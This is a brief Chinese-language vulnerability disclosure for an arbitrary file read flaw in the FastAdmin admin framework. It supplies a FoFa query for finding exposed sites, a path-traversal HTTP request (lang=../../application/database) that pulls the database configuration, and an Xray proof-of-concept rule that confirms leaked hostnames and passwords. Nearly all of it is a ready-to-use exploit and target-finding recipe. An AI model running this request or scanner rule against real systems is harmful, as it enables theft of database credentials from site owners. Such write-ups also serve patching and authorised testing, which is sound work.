0x01 漏洞描述
fastAdmin是一款基于ThinkPHP和Bootstrap开发的开源后台管理框架,旨在帮助开发者快速构建高效、灵活的后台管理系统。
fastAdmin存在任意文件读取漏洞,可直接读取数据库配置文件。
0x02 FoFa语句
body="fastadmin.net" || body="<h1>fastadmin</h1>" && title="fastadmin"
0x03 漏洞复现
GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Xray规则:
name: poc-yaml-fastadmin-lang-file-read
transport: http
rules:
r0:
request:
method: GET
path: /index/ajax/lang?lang=../../application/database
follow_redirects: false
headers:
User-Agent: >-
Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/36.0.1985.143 Safari/537.36
expression: >-
response.status == 200 && response.body_string.contains("jsonpReturn") &&
response.body_string.contains("hostname") &&
response.body_string.contains("database") &&
response.body_string.contains("password")
expression: r0()
detail:
author: WuY1n
links:
- https://wx.zsxq.com/dweb2/index/group/51111528418224